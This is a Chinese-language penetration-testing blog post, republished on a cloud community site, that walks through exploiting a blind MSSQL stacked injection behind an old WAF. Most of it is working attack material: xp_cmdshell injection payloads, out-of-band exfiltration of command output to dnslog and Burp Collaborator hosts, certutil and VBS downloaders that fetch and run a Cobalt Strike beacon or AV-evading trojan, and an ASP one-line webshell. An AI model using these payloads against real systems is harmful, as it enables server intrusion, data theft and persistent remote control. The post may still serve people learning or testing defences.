前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >MSSQL注入之无回显利用实战案例

MSSQL注入之无回显利用实战案例

作者头像
潇湘信安
发布于 2022-09-14 13:51:35
发布于 2022-09-14 13:51:35
3.1K00
代码可运行
举报
文章被收录于专栏:潇湘信安潇湘信安
运行总次数:0
代码可运行

0x01 前言

@Tooshy丶师傅发来的一个MSSQL堆叠注入,测试中遇到一些问题,让我帮着看下能不能写Webshell或者直接反弹Shell?这个注入因存在WAF而不能直接用Sqlmap跑,所以全程都是在Burpsuite下进行测试的。

注:这个案例是他在Hw中打的一个点,所以就不用这个站来配图了,也懒的再去打码(狗命要紧),所以是在他拿到了这个入口权限后在本地模拟这个场景来进行测试的,这样也能便于我们详细记录整个过程。

0x02 问题简述

通过报错页得到网站绝对路径,但因多级文件夹都存在中文字符而无法直接写入Webshell,而且Windows2003默认没有Powershell,所以也不能用Powershell、Mshta等方式上线CS/MSF,详细测试过程往下看。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
防护软件:360主机卫士、未知防护
操作系统:Windows 2003IIS6.0)
数据库:Microsoft SQLServer 2008
绝对路径:D:\中文路径1\中文路径2\BZOA\

0x03 信息探测

360主机卫士是一个很老的WAF,也早已停止更新,所以绕起来不是很难,这里直接使用@Tooshy丶师傅发的Payload通过dnslog方式来测试是否可以正常执行命令,dnslog有收到数据,这就不截图了。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
'+and+(select+1)=(Select+0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)+exec+master..xp_cmdshell+'ping+******.dnslog.cn';--
(1) 测试是否出网

这里我用Burp Collaborator进行测试,为啥用它呢?因为它可以同时探测DNS和HTTP是否都能出网。

如果HTTP能出则大概率可以直接上线CS/MSF,只需想办法将文件落地到磁盘执行即可。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cmd+/c+certutil+-urlcache+-split+-f+http://pha2623wuxr6h68nfsnso7zpvg16pv.burpcollaborator.net

注:我们可以使用Curl、Mshta、Certutil、Regsvr32、Bitsadmin、Powershell等命令来进行测试,但得注意在Administrators已登录用户权限下用Mshta、Regsvr32执行时可能会有弹窗提示哦。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
curl http://******.ceye.io
mshta http://******.ceye.io
certutil -urlcache -split -f http://******.ceye.io
regsvr32 /s /n /u /i:http://******.ceye.io scrobj.dll
powershell (Invoke-WebRequest -Uri "http://******.ceye.io")
bitsadmin /rawreturn /transfer n "http://******.ceye.io" "D\1.txt"
(2) 查看当前权限

首先测试了以下命令,发现存在各种问题,1.cmd后要带上/v,2.空格用+号替代,&进行URL编码,3.set和for命令拼接起来执行就失败,MMP,这里测试了我很久,最后没办法只能分为两条命令来执行。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
单独执行这条成功:
cmd+/v+/c+whoami>temp%26certutil+-encode+temp+temp1%26findstr+/L+/V+CERTIFICATE+temp1>temp2

拼接set执行失败:
cmd+/v+/c+whoami>temp%26certutil+-encode+temp+temp1%26findstr+/L+/V+CERTIFICATE+temp1>temp2%26set+/p+MYVAR=<temp2%26set+FINAL=!MYVAR!.dnslog%26ping+-n+1+!FINAL!

拼接for执行失败:
cmd+/v+/c+whoami>temp%26certutil+-encode+temp+temp1%26findstr+/L+/V+CERTIFICATE+temp1>temp2%26for+/F+%i+in+('type+temp2')+do+ping+-n+1+%i.dnslog

执行以下命令时得注意多个单双引号的闭合问题,外边用双引号,里边就用单引号,外边用单引号,里边就用双引号,for里只能用单引号,否则会执行失败,nslookup不稳定,执行也很慢,建议用ping。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cmd+/c+for+/F+%i+in+('whoami')+do+ping+-n+1+%i.738kskpegfdo3ou51a9aapl7hynpbe.burpcollaborator.net

从上图中可以看到外带出来的只有一个nt,这是因为nt authority\system用户带有空格被截断了,如果想全部外带出来可以尝试使用base64编码方式来解决这个问题。

最后发现也可以利用@倾旋师傅在“Regsvr32 ole对象”这篇文章中提到的httplog方式来解决这个问题。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Base64编码写文件:
cmd+/c+whoami>temp%26certutil+-encode+temp+temp1%26findstr+/L+/V+CERTIFICATE+temp1>temp2

HTTP外带执行结果:
cmd+/c+for+/F+%i+in+('type+temp2')+do+mshta+http://ao2ndnah1iyrorf8mdudvs6a218vwk.burpcollaborator.net/%i

注:用户进行Base64编码后可能会存在==,这样会导致命令执行结果外带不出来,这里我们测试了常用的ping、nslookup等命令都不行,暂时没想到好的解决办法。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ping -n 1 cGVudGVzdFwzaGFkMHcK==.ao2ndnah1iyrorf8mdudvs6a218vwk.burpcollaborator.net

nslookup cGVudGVzdFwzaGFkMHcK==.ao2ndnah1iyrorf8mdudvs6a218vwk.burpcollaborator.net
(3) 查看系统位数

执行以下命令可以将目标主机的系统架构给外带出来,这样便于我们生成对应的攻击载荷文件,因为目标主机是2003,大概率为x86,如果攻击载荷位数不对可能会存在兼容性问题而执行不了。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
for+/F+%i+in+('wmic+cpu+get+addresswidth^|findstr+64')+do+ping+-n+1+%i.bxcomojiaj7sxso9ve3e4tfbb2hx5m.burpcollaborator.net

注:执行这条命令时需要将 | 管道符使用 ^ 转义下,而且不能带有cmd /c,否则可能会出现500报错。我们在本地测试没有问题,但是在实战中失败了,可能是还存在有其他什么安全防护软件。

(4) 查看杀软进程

执行以下命令可以将目标主机正在运行的进程列表给外带出来,在确定没有安全防护软件的情况下可以直接将CS/MSF文件落地到磁盘执行上线,不过也得注意上边提到的cmd /c、| 转义和空格等问题。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
for+/F+%i+in+('wmic+process+get+Name+^|findstr+.exe')+do+ping+-n+1+%i.bxcomojiaj7sxso9ve3e4tfbb2hx5m.burpcollaborator.net

注:这种方式外带出来的进程可能不全,但也可用于参考,Burp Collaborator只带出9条数据,而且看起来很不直观,所以个人建议用dig.pm、ceye.io这两个dnslog平台。

0x04 执行上线

(5) 文件下载落地

执行第一条命令可以将刚生成的CS/MSF攻击载荷文件落地到磁盘中,第二、三条命令可以查看该文件是否已经成功落地?在不确定目标主机是否存在有安全防护软件时最好是做下免杀处理。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
文件落地:
cmd+/c+certutil+-urlcache+-split+-f+http://192.168.1.105:8888/beacon.exe+C:\windows\temp\beacon.exe

查看文件:
for+/r+C:\+%i+in+(beacon.exe*)+do+certutil+-urlcache+-split+-f+http://******.ceye.io/%i

查看路径:
for+/F+%i+in+('dir+/b+c:\windows\temp\')+do+certutil+-urlcache+-split+-f+http://******.ceye.io/%i

注:实战中利用这种文件落地方式失败了,@Tooshy丶师傅在2003虚拟机发现certutil下载远程文件时不能指定保存路径,会出现下图报错,而且会有缓存文件,可以通过执行以下命令清除。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cmd+/c+certutil+-urlcache+-split+-f+http://192.168.1.105:8888/beacon.exe+delete
(6) 执行木马上线

如果目标主机上没有安全防护软件,且通过以上方式确定攻击载荷文件已经成功落地到磁盘,这时我们就可以直接执行以下命令来上线CS/MSF了。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cmd+/c+C:\Windows\temp\beacon.exe
(7) 写入Webshell

但如果目标主机存在安全防护软件,这时可能就无法落地、执行攻击载荷文件来上线CS/MSF,不过我们还可以使用以下命令来写入Webshell,注意ASP一句话只能要用双引号,所以外边一定要用单引号。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
写入Webshell文件:
echo+^<%execute+request("1")%^>+>C:\inetpub\wwwroot\upload\shell.asp

HTTP外带文件路径:
for+/r+C:\+%i+in+(shell.asp*)+do+certutil+-urlcache+-split+-f+http://******.ceye.io/%i
(8) 最终利用方式

@Tooshy丶师傅的那个注入点上测试了多种文件落地方式都失败了,最后没办法,只能通过执行多次echo命令写入一个Vbs下载者,然后执行这个脚本将免杀360的马儿落地到磁盘并执行,最终成功上线。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wscript+C:\down.vbs

如果存在360等安全防护软件查杀木马,我们也可以使用Certutil编码哥斯拉的Webshell,然后通过这种方式将其落地到磁盘,certutil解码写入Webshell即可。

注:利用方式其实都是一样的,主要是要学会灵活运用。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo+Set+Post+=+CreateObject("Msxml2.XMLHTTP")>>C:\down.vbs
echo+Set+Shell+=+CreateObject("Wscript.Shell")>>C:\down.vbs
echo+Post.Open+"GET","http://192.168.1.105:8888/360.exe",0>>C:\down.vbs
echo+Post.Send()>>C:\down.vbs
echo+Set+aGet+=+CreateObject("ADODB.Stream")>>C:\down.vbs
echo+aGet.Mode+=+3>>C:\down.vbs
echo+aGet.Type+=+1>>C:\down.vbs
echo+aGet.Open()>>C:\down.vbs
echo+aGet.Write(Post.responseBody)>>C:\down.vbs
echo+aGet.SaveToFile+"C:\360.exe",2>>C:\down.vbs
echo+Shell.Run+("C:\360.exe")>>C:\down.vbs

注:通过手动拷贝、粘贴的方式来写比较麻烦,我们可以将以上命令保存在文本里,然后再使用Burpsuite里的Intruder模块来写,这里仅提供一个思路,可能会存在些问题,自己去测试一下吧。

(9) 问题解决方案

本地测试时突然想到去看下Sqlmap的xp_cmdshell执行命令数据包,使用declare函数来进行注入的,支持Hex和Ascii码(GB2312)。

利用这种方式可以完美解决我们在上边测试中所遇到的一些问题,如:空格、|和<>转义、& URL编码、单双引号、set/for命令拼接执行等等。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/sql.aspx?id=1+and+(select+1)=(Select+0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)+;DECLARE+@zvkd+VARCHAR(8000);SET+@zvkd=0x636D64202F76202F63202277686F616D693E74656D7026636572747574696C202D656E636F64652074656D702074656D70312666696E64737472202F4C202F562043455254494649434154452074656D70313E74656D703226736574202F70204D595641523D3C74656D7032267365742046494E414C3D214D59564152212E6A6D3933746969366C3067777A6235613674323668306976376D646331312E62757270636F6C6C61626F7261746F722E6E65742670696E67202D6E2031202146494E414C2122;EXEC+master..xp_cmdshell+@zvkd--

注:不过还是得注意下cmd /c的问题,有的命令必须带,而有的命令又不能带。还有一个通过base64编码方式外带用户的问题也暂时无法解决,有知道如何解决的师傅还请告知!!!

0x05 文末总结

这篇文章详细记录了在MSSQL无回显注入下如何通过外带方式搜集所需信息,如何落地Webshell和木马等文件实现控制目标主机的目的,还有一些注意事项等。我们在遇到这类场景时首先得去确定以下几点。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
注入漏洞类型?
是否站库分离?
是否能够出网?
是否存在安全防护?
......

实战中还得根据自己所遇到的场景选择更为简单高效的方式来获取目标主机权限,如:能出网时直接远程执行上线,有防护时再免杀落地上线,不出网时再写入Webshell等,更多相关文章可以去看我之前写的。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
基于协议判断主机是否出网:https://www.yuque.com/xxxasec/qg2bv7/gl0p3a
Windows远程下载文件总结:https://www.yuque.com/xxxasec/qg2bv7/gx2yv5
MSSQL注入之无回显利用思路:https://www.yuque.com/xxxasec/odeznb/oqz07r
MSSQL注入之写马至中文路径:https://www.yuque.com/xxxasec/odeznb/okmpax
命令执行之文件落地利用总结:https://www.yuque.com/xxxasec/odeznb/ygmm57
命令执行无回显数据外带方式:https://www.yuque.com/xxxasec/odeznb/uwgk70
利用dnslog探测目标主机杀软:https://www.yuque.com/xxxasec/bypass-waf/wl374g
Windows命令行下常用渗透技巧:https://www.yuque.com/xxxasec/lm6ilf/ah85hp
MSSQL注入DNS外带数据问题解决:https://www.yuque.com/xxxasec/odeznb/yrykm1
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-06-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
Windows 服务器远程桌面不能复制粘贴怎么解决
有网友的 Windows 服务器远程桌面不能复制粘贴,具体情况是在远程桌面复制文本,再粘贴是空白的啥都没有了(粘贴选项是灰色的不可选状态),这种情况解决起来也不麻烦,下面魏艾斯博客来操作一下,希望遇到此类问题的网友能够顺利搞定。
魏艾斯博客www.vpsss.net
2018/07/23
20.1K1
Windows 服务器远程桌面不能复制粘贴怎么解决
Windows 服务器远程桌面不能复制粘贴怎么解决
有网友的 Windows 服务器远程桌面不能复制粘贴,具体情况是在远程桌面复制文本,再粘贴是空白的啥都没有了(粘贴选项是灰色的不可选状态),这种情况解决起来也不麻烦,下面魏艾斯博客来操作一下,希望遇到此类问题的网友能够顺利搞定。
魏艾斯博客www.vpsss.net
2018/07/30
13.5K0
Windows 服务器远程桌面不能复制粘贴怎么解决
远程桌面复制粘贴异常
远程桌面复制粘贴有问题(本地复制了,在远程桌面里想右键粘贴,但发现粘贴是灰色的) ①重启rdpclip.exe 云服务器打开任务管理器 → 进程或详细信息 → 找到rdpclip.exe → 右键结束进程树 → 注销远程会话 → 重新远程
Windows技术交流
2021/06/15
2.2K0
远程桌面无法复制粘贴
可能是rdpclip.exe进程出了问题,在任务管理器中找到该进程,选中后并结束进程。接着重启该进程:
雨临Lewis
2022/01/12
2.7K0
远程桌面连接时无法复制粘贴本地的文件或文字解决方法
远程桌面时,无法向远程机器拷贝文件或者无法从远程机器复制文件到本机,有可能是rdpclip.exe未启动或者已启动但失效了。
季春二九
2023/05/03
17.1K0
远程桌面连接时无法复制粘贴本地的文件或文字解决方法
电脑技巧:Win10复制粘贴无法正常使用的处理办法
Win10复制粘贴无法使用如何修复?今天小编就为大家带来了Win10复制粘贴无法使用的解决方法,感兴趣的朋友一起看看吧
小明互联网技术分享社区
2022/05/24
13.1K0
电脑技巧:Win10复制粘贴无法正常使用的处理办法
解决远程桌面无法复制粘贴的问题
在远程桌面中右键点击,选择启动任务管理器
似水的流年
2018/01/14
1.8K0
解决远程桌面无法复制粘贴的问题
远程桌面复制黏贴无法使用
远程桌面时如果无法使用复制黏贴功能,可以在服务器端重启rdpclip.exe进程 操作步骤: 1、打开任务管理器查看是否存在rdpclip.exe进程,如果存在就结束进程。 2、开始 ->运行。 3、
跟着阿笨一起玩NET
2021/07/08
3K0
解决Windows远程不能复制问题
前提,已经确认远程桌面连接选项“本地资源-》本地设备和资源-》剪贴板”中勾选了剪贴板。
云腾TC.k8s
2021/06/25
2.5K1
xrdp远程桌面链接登录ubuntu无法复制
使用 xrdp 远程桌面链接登录 ubuntu 后,发现无法在本地电脑和服务器之间复制粘贴。
鸥哞
2024/04/19
8090
xrdp远程桌面链接登录ubuntu无法复制
HVV专题——鸡肋的RDP反制
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2023/08/17
6710
HVV专题——鸡肋的RDP反制
利用软件和bat修复服务器和物理机之间的文件复制功能
IIS7服务器监控工具该软件风格简约,操作简单,删除系统缓存,重启服务器,修改服务器账号密码,修复服务器复制功能等,也可以一键开启关闭MYSQL和503错误的监控,省去了繁琐的操作步骤,一键完成。也可以直接修改远程端口范围,省去繁琐步骤。
it妹
2019/08/20
1.2K0
利用 mstsc 反向攻击思路整理
在实战中,当面对 DMZ 区隔离、堡垒机时,很多直接的正向攻击方式都很难实现。曾经在某次渗透过程中,通过日志分析,已经确认核心内网的 ip 地址,但是发现目标机器只随机开放远端口与被攻击机进行 rdp 远程连接,所有正向攻击手段都无法使用。很难受,因此收集整理了一下目前的 mstsc 反向攻击方法,供大家参考,不足之处请多指点。
信安之路
2020/05/09
4.8K0
组态软件里面对远程桌面调用的方法
故事要从很久以前说起,那时王老湿刚参加工作不久,对组态软件只是初窥门径,也就刚刚能够按照领导的要求画出一些阀门水泵的工艺图的水平。突然有一天领导过来给我说有个客户提了个要求,要在RSViewSE软件里面显示另一台计算机的桌面。
剑指工控
2021/11/09
1.7K0
远程桌面连接的技巧
  选中本地磁盘D,然后点确定,这样 才后台服务器就能够直接访问本地D盘,连FTP都不用配置了。非常方便。
跟着阿笨一起玩NET
2018/09/19
5.3K0
远程桌面连接的技巧
Linux下通过rdesktop连接Windows远程桌面
最近在公司要求做学习汇报,同事在windows下做的ppt,然后我用自己电脑Linux连接的汇报用的投影仪,但是将其ppt拷贝过来到我linux下格式显示有点问题,最后索性远程连接他的windows机器控制其桌面进行汇报,也算比较方便。下面就说一下怎么连接windows远程桌面。 一、主角:rdesktop rdesktop是linux下支持Windows远程桌面连接的客户端程序,在linux系统下可通过它远程访问Windows桌面,支持多种版本。rdesktop是sourceforge下支持GPL协议
zhwhong
2018/05/16
32.7K0
内网渗透|基于文件传输的 RDP 反向攻击
通常认为远程桌面协议是连接远程计算机的安全且值得信赖的应用程序,全球数以千计的 IT 专业人员和安全研究人员都在使用远程桌面协议管理者自己的计算机设备,无论是用于帮助远程工作人员还是在安全的 VM 环境中工作,RDP 远程桌面客户端都是非常宝贵的工具。然而,这一值得信赖的应用程序并不是完全可靠的,在我的《内网渗透测试:初探远程桌面的安全问题》这篇文章中,我大致罗列出了常见的用于攻击 RDP 远程桌面的方式。本节我们就一个问题进行探讨,即如何通过远程桌面服务端反打连接他的客户端。
HACK学习
2021/08/13
3.2K0
如何从 Linux 上连接到远程桌面
根据维基百科,远程桌面 是一种“软件或者操作系统特性,它可以让个人电脑上的桌面环境在一个系统(通常是电脑,但是也可以是服务器)上远程运行,但在另一个分开的客户端设备显示”。
用户1880875
2021/10/18
9.8K0
windows限制远程复制粘贴
计算机配置 > 管理模板 > Windows 组件 > 远程桌面服务 > 远程桌面会话主机 > 设备和资源重定向
Windows技术交流
2023/05/26
1.2K0
Linux下通过rdesktop连接Windows远程桌面
在家手痒,又把本本的系统换成了 Linux。收到公司服务器的报警之后,突然想起需要用 VPN 远程处理。只好又折腾下 linux 下的远程桌面了。 下面简单的记录下(绝非教程贴): 一、主角:rdesktop rdesktop 是 linux 下支持 Windows远程桌面连接的客户端程序,在 linux 系统下可通过它远程访问Windows 桌面,支持多种版本。rdesktop 是 sourceforge 下支持 GPL 协议的一个开源项目,采用 RDP(Remote Desktop Protocol,远
张戈
2018/03/23
8.9K0
推荐阅读
相关推荐
Windows 服务器远程桌面不能复制粘贴怎么解决
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档